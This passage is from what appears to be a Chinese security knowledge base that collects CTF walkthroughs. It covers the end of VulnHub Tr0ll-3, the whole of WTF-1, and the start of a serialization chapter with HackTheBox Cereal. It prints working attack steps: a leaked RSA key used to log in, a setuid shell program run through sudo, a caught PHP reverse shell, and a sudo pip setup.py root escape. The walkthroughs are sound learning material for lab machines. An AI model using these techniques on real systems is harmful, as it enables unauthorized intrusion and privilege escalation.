        # pass PHP scripts to FastCGI server
        #
        #location ~ \.php$ {
        #       include snippets/fastcgi-php.conf;
        #
        #       # With php-fpm (or other unix sockets):
        #       fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
        #       # With php-cgi (or other tcp sockets):
        #       fastcgi_pass 127.0.0.1:9000;
        #}

        # deny access to .htaccess files, if Apache's document root
        # concurs with nginx's one
        #
        #location ~ /\.ht {
        #       deny all;
        #}
}


# Virtual Host configuration for example.com
#
# You can move that to a different file under sites-available/ and symlink that
# to sites-enabled/ to enable it.
#
#server {
#       listen 80;
#       listen [::]:80;
#
#       server_name example.com;
#
#       root /var/www/example.com;
#       index index.html;
#
#       location / {
#               try_files $uri $uri/ =404;
#       }
#}
```

此外，如上所示，启动了nginx服务。使用netstat命令，看到端口8080已打开。再次尝试进行nmap扫描，如下所示。


``` bash
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    nginx 1.14.0 (Ubuntu)
```

``` bash
wytshadow@Tr0ll3:/etc/nginx/sites-enabled$ sudo /usr/sbin/service nginx start
wytshadow@Tr0ll3:/etc/nginx/sites-enabled$ netstat -antp
(No info could be read for "-p": geteuid()=1003 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 192.168.56.120:22       192.168.56.1:20737      ESTABLISHED -                   
tcp        0    448 192.168.56.120:22       192.168.56.102:48480    ESTABLISHED -                   
tcp6       0      0 :::8080                 :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      - 
```

如前所述，在本地计算机上安装一个lynx浏览器。打开与刚打开的端口关联的页面。

``` bash
root@kali:~/vulnhub/troll3# apt-get install lynx
...
root@kali:~/vulnhub/troll3# lynx http://192.168.56.120:8080/
genphlux:HF9nd0cR!
```

通过lynx打开页面上给定的链接时，会找到这些登录凭据。不是那么困难。

找到的凭证：

``` bash
Username: genphlux
Password: HF9nd0cr!
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub238.jpg)

随着有了更多的凭据，使用上述枚举凭据切换到genphlux的用户。

``` bash
wytshadow@Tr0ll3:/home$ su genphlux
Password: 
genphlux@Tr0ll3:/home$ id
uid=1004(genphlux) gid=1004(genphlux) groups=1004(genphlux)
genphlux@Tr0ll3:/home$ whoami
genphlux
genphlux@Tr0ll3:/home$ pwd
/home
genphlux@Tr0ll3:/home$
```

登录后，找到了一个名为maleus的文件，如下所示，并且通过浏览该文件，看到了它存储RSA密钥。

``` bash
genphlux@Tr0ll3:/home$ cd
genphlux@Tr0ll3:~$ ls -la
total 44
drwx------  4 genphlux genphlux 4096 Aug  2  2019 .
drwxr-xr-x 10 root     root     4096 Jun 19  2015 ..
-rw-r--r--  1 genphlux genphlux  220 Jun 17  2015 .bash_logout
-rw-r--r--  1 genphlux genphlux 3637 Jun 17  2015 .bashrc
drwx------  2 genphlux genphlux 4096 Jun 17  2015 .cache
drwx------  3 genphlux genphlux 4096 Aug  1  2019 .gnupg
-rw-rw-r--  1 genphlux genphlux 1675 Jun 18  2015 maleus
-rw-r--r--  1 genphlux genphlux  675 Jun 17  2015 .profile
-rw-------  1 genphlux genphlux 5649 Jun 17  2015 .viminfo
-rw-rw-r--  1 genphlux genphlux  931 Aug  2  2019 xlogin
genphlux@Tr0ll3:~$ file maleus 
maleus: PEM RSA private key
genphlux@Tr0ll3:~$ cat maleus 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwz5Hwer48U1t/Qi9JveuO+Z7WQlnmhOOs/2pZ0he/OyVsEFv
DsGib1wu/N8t+7h9JZK9x2GL33TXQBVCy6TxES90F1An+2DSza6lJPCyhcgK/DEp
yxSVt32A+lFo+PQJV6QYZlpRkek0MjUw5y/E5qZwdBypC55C4QzgQBN3+Lnuhuk4
u52xcK9/6/2N7JZCNYA21Tp1Uy9mty/65IT7OwKJd2rXp3O6rZYTD/vPl+Rt/LtN
gA1DbDODq0NCmvcrZL+SafSj+MABA3LCERw01gA4RMdyxJU6hVfjeSKOdwDQOGWe
eAVCL2GR/frwyf+rfN1kbpdw/RGXWWwVANMcaQIDAQABAoIBAGNudFztrZo2NK2I
pcwSl0kqN+dAQuLU0vgXVw6ibL2iPxlkOYrqUi8kY0mk32YyrolUEhJYO0Ox3W1l
Zn8PoTV/VUAKMlJzHOhi6PfHHSPEnNOSthYWhajM4cKZczxWC+v2RfbaSHBms45e
SGl0inJskRiRAAZKswSp6gq334FrS6Dwy1tiKvzCfR3kLQghV5U/PhFZCsq3xvAw
eXPx2toNtU2gYSGrKWTep+nAKM1neBxeZAujYuN4xJ5/Th2y0pyTvX9WEgzKPJ/G
PlYZYCUAKPCbabYSuZckjeiN1aS52AIFedECBfAIezOr08Wx/bI/xCOgBxrQgPrK
kRvlOYECgYEA5eCIEfdLhWdg3ltadYE0O5VAoXKrbxYWqSyw1Eyeqj0N1qD9Rsvg
jIQJazV5JcVBIF54f/jlCJozR5s5AELrY0Z/krea1lF5ecOSUQE3tp94298xzO3g
7BBe3g6pD56Cya/Vo0+YVQmAnBHLh6QIYvUUXXN2IyceT8fhEx5JA+sCgYEA2W4z
KKMVAdPxKcjVks1zdGmVlj1RsUkakYuLWV3jQe2w1naJrc37Khy5eWZaRJhXqeBb
1cvTMa+r/BF7jvItxglWoBJqXDxKI0a6KqWtloZL2ynoaBkAhR2btob6nSN63Bpg
ZYJKY1B5yYbDHK4k6QT7atn2g6DAv/7sW6skj/sCgYA16WTAIek6TjZvr6kVacng
N27C7mu6T8ncvzhxcc68SjlWnscHtYTiL40t8YqKCyrs9nr4OF0umUtxfbvujcM6
syv0Ms9DeDQvFGjaSpjQYbIsjrnVP+zCMEyvc2y+1wQBXRWTiXVGbEYXVC0RkKzO
2H+AMzX/pIr9Vvk4TJ//JQKBgFNJcy9NyO46UVbAJ49kQ6WEDFjQhEp0xkiaO3aw
EC1g7yw3m+WH0X4AIsvt+QXtlSbtWkA7I1sU/7w+tiW7fu0tBpGqfDN4pK1+mjFb
5XKTXttE4lF9wkU7Yjo42ib3QEivkd1QW05PtVcM2BBUZK8dyXDUrSkemrbw33j9
xbOhAoGBAL8uHuAs68ki/BWcmWUUer7Y+77YI/FFm3EvP270K5yn0WUjDJXwHpuz
Fg3n294GdjBtQmvyf2Wxin4rxl+1aWuj7/kS1/Fa35n8qCN+lkBzfNVA7f626KRA
wS3CudSkma8StmvgGKIU5YcO8f13/3QB6PPBgNoKnF5BlFFQJqhK
-----END RSA PRIVATE KEY-----
```

因此，将RSA密钥复制到一个名为“key”的文本文件中，并分配了权限600，该权限只能由特定用户访问。

``` bash
root@kali:~/vulnhub/troll3# chmod 600 key
root@kali:~/vulnhub/troll3# ssh maleus@192.168.56.120 -i key
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

maleus@Tr0ll3:~$ id
uid=1000(maleus) gid=1000(maleus) groups=1000(maleus),1005(backups)
maleus@Tr0ll3:~$ whoami
maleus
maleus@Tr0ll3:~$ pwd
/home/maleus
```

成功登录后，找到了一个名为“don't_even_bother”的文件，该文件具有完全权限，并且借助文件的类型，确定其类型为ELF 64位，此外，在其中找到了另一个文件“.viminfo”文件。同一目录。

``` bash
maleus@Tr0ll3:~$ ls -la
total 48
drwx------  5 maleus maleus 4096 Aug  2  2019 .
drwxr-xr-x 10 root   root   4096 Jun 19  2015 ..
-rw-r--r--  1 maleus maleus  220 Jun 17  2015 .bash_logout
-rw-r--r--  1 maleus maleus 3637 Jun 17  2015 .bashrc
drwx------  2 maleus maleus 4096 Jun 17  2015 .cache
-rwxrwxr-x  1 maleus maleus 8674 Jun 18  2015 dont_even_bother
drwx------  3 maleus maleus 4096 Aug  1  2019 .gnupg
-rw-r--r--  1 maleus maleus  675 Jun 17  2015 .profile
drwx------  2 maleus maleus 4096 Jun 18  2015 .ssh
-rw-------  1 maleus maleus 1301 Aug  2  2019 .viminfo
```

此外，使用cat命令来检查viminfo文件。经过仔细检查，发现了maleus用户的密码“B^slc8I$”。这是一个很好的发现。

``` bash
maleus@Tr0ll3:~$ cat .viminfo
# This viminfo file was generated by Vim 7.4.
# You may edit it if you're careful!

# Value of 'encoding' when this file was written
*encoding=utf-8


# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:wq
:q
:q!
:!shell

# Search String History (newest to oldest):

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Input Line History (newest to oldest):

# Registers:
""1     LINE    0
        passwd
"2      LINE    0
        B^slc8I$
"3      LINE    0
        passswd  

# File marks:

# Jumplist (newest first):

# History of marks within files (newest to oldest):

        +       25      62

> ~/Desktop/troll3/maleus
        *       1564779412      0
        "       27      28
        ^       27      29
        .       27      28
        +       27      28
> ~/Desktop/troll3/maleus
        *       1564779412      0
        "       27      28
        ^       27      29
        .       27      28
        +       27      28
> ~/Desktop/troll3/maleus
        *       1564779412      0
        "       27      28
        ^       27      29
        .       27      28
        +       27      28
> ~/Desktop/troll3/maleus
        *       1564779412      0
        "       27      28
        ^       27      29
        .       27      28
        +       27      28
> ~/Desktop/troll3/maleus
        *       1564779412      0
        "       27      28
        ^       27      29
        .       27      28
        +       27      28
> ~/Desktop/troll3/maleus
        *       1564779412      0
        "       27      28
        ^       27      29
        .       27      28
        +       27      28
> ~/Desktop/troll3/maleus
        *       1564779412      0
        "       27      28
        ^       27      29
        .       27      28
        +       27      28
> ~/Desktop/troll3/maleus
        *       1564779412      0
        "       27      28
        ^       27      29
        .       27      28
        +       27      28
> ~/Desktop/troll3/maleus
        *       1564779412      0
        "       27      28
        ^       27      29
        .       27      28
        +       27      28
```

#### 提权

现在有了maleus的密码，确定maleus的sudo权限。

``` bash
maleus@Tr0ll3:~$ sudo -l
[sudo] password for maleus: 
Matching Defaults entries for maleus on Tr0ll3:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User maleus may run the following commands on Tr0ll3:
    (root) /home/maleus/dont_even_bother
```

运行命令后，发现maleus可以以root用户身份运行don't_even_bother文件。因此，为了提升此计算机上的权限，将使用此文件来注入恶意代码。首先，使用echo清空此文件的内容，然后使用nano命令对其进行编辑。

``` bash
maleus@Tr0ll3:~$ echo "" > dont_even_bother
maleus@Tr0ll3:~$ cat dont_even_bother 

maleus@Tr0ll3:~$ nano dont_even_bother.c
```

现在，在打开该文件之后，编写了一个小的.C脚本，它将在编译后执行时调用shell。

``` bash
int main (void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}
```

现在，因为是“.c”文件，所以将不得不使用gcc编译器对其进行编译，然后按照sudo权限执行该文件dont_even_bother。

即可获取系统root权限并且找到了flag文件，如下所示：

``` bash
maleus@Tr0ll3:~$ ls
dont_even_bother  dont_even_bother.c
maleus@Tr0ll3:~$ gcc dont_even_bother.c -o dont_even_bother
dont_even_bother.c: In function ‘main’:
dont_even_bother.c:2:8: warning: implicit declaration of function ‘setresuid’ [-Wimplicit-function-declaration]
        setresuid(0, 0, 0);
        ^~~~~~~~~
dont_even_bother.c:3:8: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
        system("/bin/sh");
        ^~~~~~
maleus@Tr0ll3:~$ sudo /home/maleus/dont_even_bother
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# pwed
/bin/sh: 3: pwed: not found
# pwd
/home/maleus
# cd /root
# ls
flag.txt
# cat flag.txt  
You are truly a Jedi!

Twitter Proof:

Pr00fThatTh3L33tHax0rG0tTheFl@g!!

@Maleus21
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub239.jpg)

#### 知识点总结

 - aircrack-ng破解.cap包密码
 - nginx用户代理
 - lynx浏览器使用
 - 使用ssh RSA密钥登录ssh
 - .viminfo文件泄露密码
 - setresuid(0, 0, 0) c语言脚本提权

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>



















<!-- kb:end Tr0ll-3 -->

</details>

<a id="case-wtf-1"></a>

## 既有回连配置与 sudo pip

站点中的 shell 文件含固定回连目标，网络配置与 Wireshark 证据解释初次失败。后续账户和 sudo pip 的原有路线完整留存。

<p class="kb-provenance">来源 WTF-1 · 原记录 2019-12-24 · 12 个代码块 · 9 处图片引用</p>

<details class="kb-evidence" id="record-wtf-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start WTF-1 -->

名称：WTF: 1
发布日期：2019年11月22日

下载：

 - Download: https://mega.nz/#!dmZGDQRa!eiUQN_w_qZODlonwe8RM5WsOHFrpi3wqIyFfVc2DyU0
 - Download (Mirror): https://download.vulnhub.com/wtf/wtf.rar
 - Download (Torrent): https://download.vulnhub.com/wtf/wtf.rar.torrent

描述：
初学者-中级机器，您的目标是获取/root/flag.txt。
记住,很好的列举！基于VMware,您可能会遇到VB问题。



#### 网络配置

一开始安装虚拟机打开的时候会遇到描述中所说的获取不到ip的现象参考文章[Vulnhub靶机检测不到IP地址](https://blog.csdn.net/qq_41918771/article/details/103636890)，这篇文章写的很详细，不用我多说，自己看着一步步配置就行。

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.142.0/24
Nmap scan report for 192.168.142.134
Host is up (0.00017s latency).
MAC Address: 00:0C:29:CA:25:F7 (VMware)
```

``` bash
root@kali:~# nmap -sS -sV -T5 -A -p- -v --script=vuln 192.168.142.134
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.38 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.38: 
|       CVE-2019-0211   7.2     https://vulners.com/cve/CVE-2019-0211
|       CVE-2019-10082  6.4     https://vulners.com/cve/CVE-2019-10082
|       CVE-2019-10097  6.0     https://vulners.com/cve/CVE-2019-10097
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2019-0215   6.0     https://vulners.com/cve/CVE-2019-0215
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2019-10081  5.0     https://vulners.com/cve/CVE-2019-10081
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2019-0196   5.0     https://vulners.com/cve/CVE-2019-0196
|       CVE-2019-0197   4.9     https://vulners.com/cve/CVE-2019-0197
|_      CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
```

开了22和80两个端口

下载github上评分22.1k的seclists字典

``` bash
root@kali:~# apt -y install seclists
正在读取软件包列表... 完成
正在分析软件包的依赖关系树       
正在读取状态信息... 完成       
下列软件包是自动安装的并且现在不需要了：
  apt-file command-not-found libapt-pkg-perl libexporter-tiny-perl libisl21 libjim0.77
  liblist-moreutils-perl libregexp-assemble-perl
使用'apt autoremove'来卸载它(它们)。
下列【新】软件包将被安装：
  seclists
升级了 0 个软件包，新安装了 1 个软件包，要卸载 0 个软件包，有 0 个软件包未被升级。
需要下载 276 MB 的归档。
解压缩后会消耗 1,033 MB 的额外空间。
获取:1 https://mirrors.ustc.edu.cn/kali kali-rolling/main amd64 seclists all 2019.4-0kali2 [276 MB]
已下载 276 MB，耗时 45秒 (6,170 kB/s)                                                                 
正在选中未选择的软件包 seclists。
(正在读取数据库 ... 系统当前共安装有 318480 个文件和目录。)
准备解压 .../seclists_2019.4-0kali2_all.deb  ...
正在解压 seclists (2019.4-0kali2) ...
正在设置 seclists (2019.4-0kali2) ...
```
gobuster扫一波发现zhkh目录

``` bash
root@kali:~# gobuster dir --url http://192.168.142.134/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.142.134/
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/12/24 00:34:22 Starting gobuster
===============================================================
/javascript (Status: 301)
/server-status (Status: 403)
[ERROR] 2019/12/24 00:34:24 [!] parse http://192.168.142.134/error_log: net/url: invalid control character in URL
/zhkh (Status: 301)
===============================================================
2019/12/24 00:34:27 Finished
===============================================================
```

访问http://192.168.142.134/zhkh/发现是wordpress5.3版本程序搭建的

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub87.jpg)

burp添加规则如下图所示即可访问完整的正常页面

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub89.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub88.jpg)

爆破后台密码和寻找wordpress漏洞无果之后下一步操作

由于提示good enumeration,进入wp-content/uploads/目录下有新发现shell.php

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub90.jpg)

访问shell.php出现错误提示

``` bash
WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111) 
```

看错误得知是php-reverse-shell，就是反弹shell的php木马

用wireshark抓包查看php-reverse-shell请求的ip和端口以便于nc后续本地监听需要

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub91.jpg)

得知请求ip为192.168.1.14，端口为5555

#### getshell

NAT模式的网络配置改成192.168.1.0/24，之后给kali配置一个静态IP 192.168.1.14，然后重启kali和wtf靶机，访问php-reverse-shell

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub92.jpg)

成功弹回shell

``` bash
root@kali:~# nc -lvp 5555
listening on [any] 5555 ...
192.168.1.15: inverse host lookup failed: Unknown host
connect to [192.168.1.14] from (UNKNOWN) [192.168.1.15] 47192
Linux wtf 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
 01:56:54 up 1 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@wtf:/$ ls
ls
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var
```

#### 提权

查看SUID权限可执行文件，没有可用的

``` bash
www-data@wtf:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
```

sudo -l又需要输入密码

进入/var/www/html/zhkh目录查看wp-config.php文件

``` bash
www-data@wtf:/var/www/html/zhkh$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wp_database' );

/** MySQL database username */
define( 'DB_USER', 'ra' );

/** MySQL database password */
define( 'DB_PASSWORD', '912391929129' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'hmdNSrpLV5we) E$0_/E,$Vxr0%<S{]D@)T+rc%a7wvbr)Q|bm7boJdOz/AN>/#&' );
define( 'SECURE_AUTH_KEY',  'DR&l3>0z8mmFT+Y}#bqND_~H;wb[r|:te+tN%:K PS7=~~/;uA5)zj~Z%tu}-8UJ' );
define( 'LOGGED_IN_KEY',    '7+cns%lA?p60U~*(J,z9zp4w 2%hB1S6jZ0NuUgl(oK,#H6&GL,i@+4m:1w3|-aW' );
define( 'NONCE_KEY',        'm5,d=I4 MShd4lU#8F@@oj2cKpc+J[Kp3bRt%Sfuw.%#`oVKzgDMTl5+D[nu,R<K' );
define( 'AUTH_SALT',        'sl3w_.}n|M{~D#6,v]U?Kz/,k&oCnn1._|(i3Y|ng7+<-f4Nv7mmR4B<i>!?du#i' );
define( 'SECURE_AUTH_SALT', 'b>,[La8I5xqchTMvXN-bI8%[)-V[wHjNmj/1jZ_Vnq`q0<|E@6^.8~KpI_#53Rw_' );
define( 'LOGGED_IN_SALT',   'v_`E=EA]$UBa.2P|%YV4cl}(c@AVkW$V5959/gQL~a:,O}qfG85Xc4)=xRBux6g?' );
define( 'NONCE_SALT',       'TE#Tim,4h|zKYm$he[F%J*4vG{v]VK!jP0sSeBLHp7Mp|P*XJz:=&n<nsfbIFq>a' );

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the Codex.
 *
 * @link https://codex.wordpress.org/Debugging_in_WordPress
 */
define( 'WP_DEBUG', false );

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', dirname( __FILE__ ) . '/' );
}

/** Sets up WordPress vars and included files. */
require_once( ABSPATH . 'wp-settings.php' );

//`Db]f{He3HgO`(z
```

将其中的ra/912391929129连接ssh发现连接不上，再将ra/`Db]f{He3HgO`(z连接ssh，成功登录，真想说一句what the fuck!!!!!!

``` bash
root@kali:~# ssh ra@192.168.1.15
The authenticity of host '192.168.1.15 (192.168.1.15)' can't be established.
ECDSA key fingerprint is SHA256:YRICww0bKH3fcEIycw4x9iWEv3gF1qtqElE7ecocCn8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.15' (ECDSA) to the list of known hosts.
ra@192.168.1.15's password: 
Linux wtf 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Nov 21 12:47:56 2019 from 192.168.1.13
ra@wtf:~$ ls
ra@wtf:~$ id
uid=1000(ra) gid=1000(ra) groups=1000(ra),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
ra@wtf:~$ pwd
/home/ra
ra@wtf:~$ whoami
ra
ra@wtf:~$ ls -la
total 28
drwxr-xr-x 3 ra   ra   4096 Nov 21 15:04 .
drwxr-xr-x 3 root root 4096 Nov 21 06:45 ..
-rw------- 1 ra   ra    480 Nov 21 15:01 .bash_history
-rw-r--r-- 1 ra   ra    220 Nov 21 06:45 .bash_logout
-rw-r--r-- 1 ra   ra   3526 Nov 21 06:45 .bashrc
drwx------ 3 ra   ra   4096 Nov 21 14:18 .gnupg
-rw-r--r-- 1 ra   ra    807 Nov 21 06:45 .profile
ra@wtf:~$
```

``` bash
ra@wtf:~$ sudo -l
Matching Defaults entries for ra on wtf:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ra may run the following commands on wtf:
    (root) NOPASSWD: /usr/bin/pip
```

发现/usr/bin/pip可以以root用户的权限执行，网上搜索利用方法，传送门[GTFOBins](https://gtfobins.github.io/)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub93.jpg)

``` bash
ra@wtf:~$ TF=$(mktemp -d)
ra@wtf:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
ra@wtf:~$ sudo pip install $TF
Processing /tmp/tmp.FbYhS1oIjc
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# 
```

运行poc后成功提权,然后找到flag


``` bash
# cd /root
# ls
flag.txt
# cat flag.txt
WTF rooted!
haha, well done. 
You can find me on discord to tell me your opinion about "WTF" -> pwn4magic#8707
#
```

帅的掉渣

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub94.jpg)

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end WTF-1 -->

</details>




# 反序列化、对象生命周期与加载器

不同语言的对象恢复机制会调用不同的加载、构造、析构或访问方法。本章保留 Java、PHP、Ruby 和 .NET 的原始对象与 gadget，按入口、可控数据和实际调用来核查。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/serialization/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Feline、Logforge、Time 和 Ophiuchi 分别依赖会话文件、JNDI、类型绑定和 YAML 加载。

Tenet 与 PHP 题组保留对象状态和触发顺序；Jewel 保留 Ruby 相关数据。

Cereal 与 Sharp 连接浏览器或远程服务接口，原有链中的可达性与权限信息一起保留。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [XSS 驱动的对象反序列化](#case-cereal) | cereal | 反序列化、XSS、GraphQL、SeImpersonate |
| [Tomcat 会话文件与 Salt 管理面](#case-feline) | feline | Java、反序列化、SaltStack、Docker |
| [Ruby 对象状态与账户迁移](#case-jewel) | jewel | Ruby、反序列化、2FA |
| [Logforge 中的 JNDI 与 classpath](#case-log4j) | log4j | Java、JNDI、Log4Shell、CVE-2021-44228 |
| [YAML 加载与 WASM 返回值](#case-ophiuchi) | Ophiuchi | YAML、Java、WASM、Go |
| [应用配置、.NET Remoting 与 WCF](#case-sharp) | sharp | .NET、反序列化、WCF、逆向 |
| [PHP 对象析构与密钥写入竞态](#case-tenet) | tenet | PHP、反序列化、竞态条件 |
| [Jackson 类型绑定与可写任务](#case-time) | time | Jackson、反序列化、CVE-2019-12384 |
| [PHP 魔术方法与对象状态](#case-unserialize) | unserialize | PHP、反序列化、POP链 |

<a id="case-cereal"></a>

## XSS 驱动的对象反序列化

Git 源码暴露 DownloadManager 对象处理，浏览器侧 XSS 为服务器请求提供可达路径；GraphQL SSRF 与 GenericPotato 的原有组合单独留档。

<p class="kb-provenance">来源 cereal · 原记录 2021-01-15 · 24 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-cereal">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start cereal -->

#### introduce

OS: Windows
Difficulty: Hard
Points:	40
Release:	21 Nov 2020
IP:	10.10.10.217

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb158.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/cereal]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.217
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp  open  http     Microsoft IIS httpd 10.0
443/tcp open  ssl/http Microsoft IIS httpd 10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

vhosts from https certificate (add to /etc/hosts): 

``` bash
cereal.htb source.cereal.htb
```

